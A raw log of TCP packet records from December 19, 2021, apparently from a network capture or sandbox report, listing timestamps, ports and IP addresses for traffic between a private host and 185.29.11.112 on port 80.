Dec 19, 2021 21:13:24.386953115 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.386965036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.386977911 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.386991978 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387007952 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387018919 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387042999 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387046099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387073994 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387078047 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387101889 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387103081 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387130976 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387146950 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387159109 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387160063 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387175083 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387190104 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387217999 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387218952 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387232065 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387244940 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387273073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387286901 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387300014 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387306929 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387329102 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387350082 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387370110 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387391090 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387411118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387432098 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387453079 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387480974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387507915 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387535095 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387546062 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387573957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387598991 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387603045 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387622118 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387629986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387646914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387662888 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387686014 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387691021 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387708902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387718916 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387748957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387751102 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387762070 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387775898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387803078 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387804985 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387816906 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387830973 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387851954 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387860060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387888908 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387892008 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387898922 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387917042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387942076 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387969017 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.387973070 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.387995958 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388020039 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388024092 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388041973 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388051033 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388077974 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388088942 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388107061 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388113022 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388134003 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388153076 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388161898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388183117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388190031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388212919 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388217926 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388246059 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388246059 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388273001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388277054 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388297081 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388299942 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388318062 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388328075 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388359070 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388367891 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388395071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388421059 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388442993 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388448954 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388457060 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388477087 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388499022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388504028 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388521910 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388524055 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388549089 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388550997 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388566971 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388581038 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388608932 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388636112 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388641119 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388649940 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388663054 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388679028 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388689995 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388690948 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388711929 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388719082 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388746023 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388751984 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388763905 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388773918 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388787985 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388803005 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388829947 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388875008 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388880014 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388896942 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388906002 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388926029 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388935089 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388962984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.388968945 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.388983011 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.389022112 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.389514923 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.389542103 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.389575005 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.389607906 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391159058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391186953 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391215086 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391233921 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391242981 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391269922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391271114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391299009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391309977 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391325951 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391326904 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391355991 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391361952 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391379118 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391386032 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391402960 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391413927 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391439915 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391442060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391458988 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391473055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391494036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391499996 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391522884 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391530037 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391542912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391558886 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391583920 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391587019 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391602993 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391616106 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391644001 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391674042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391679049 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391686916 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391693115 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391702890 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391725063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391730070 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391753912 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391757965 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391776085 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391788006 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391817093 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391819000 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391834974 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391845942 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391871929 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391875982 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391900063 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391911030 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391922951 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391927958 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391938925 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.391957998 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391984940 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.391988993 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392011881 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392024040 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392038107 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392040968 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392055035 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392070055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392087936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392096043 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392124891 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392152071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392174959 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392178059 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392184019 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392205000 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392232895 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392235041 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392252922 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392262936 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.392282963 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392292976 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.392330885 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.393671989 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.393702030 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.393728018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.393754005 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.393767118 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.393783092 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.393805027 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.393810034 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.393836021 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.393840075 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.393856049 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.393868923 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.393898010 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.394371033 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.396656036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.396677971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.396692038 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.396755934 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.396761894 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.397099018 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398029089 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398050070 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398065090 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398086071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398111105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398116112 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398159981 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398180008 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398191929 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398211956 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398225069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398245096 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398276091 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398294926 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398310900 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398329973 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398349047 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398370028 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398381948 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398401022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398405075 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398436069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398456097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398458958 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398474932 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398508072 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398508072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398549080 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398551941 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398572922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398574114 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398592949 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398607969 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398622036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398655891 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398708105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398788929 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398789883 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398818970 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.398847103 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398874998 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.398940086 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399000883 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399081945 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399102926 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399122000 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399141073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399142981 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399161100 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399179935 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399187088 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399199009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399216890 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399219036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399230957 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399240971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399261951 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399271011 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399285078 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399288893 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399303913 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399324894 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399328947 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399342060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399363041 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399364948 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399383068 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399400949 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399419069 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399421930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399441957 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399446011 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399451971 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399494886 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399525881 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399595976 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399646044 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399688005 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399708986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399728060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399746895 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399764061 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399766922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399787903 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399806023 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399811029 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399821043 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399835110 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399854898 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399858952 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399866104 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399876118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399894953 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399913073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399915934 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399931908 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399950027 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399955034 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399974108 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.399976969 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.399996996 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.400017023 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.400018930 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:24.400036097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.400054932 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:24.400069952 CET	49789	80	192.168.2.3	185.29.11.112
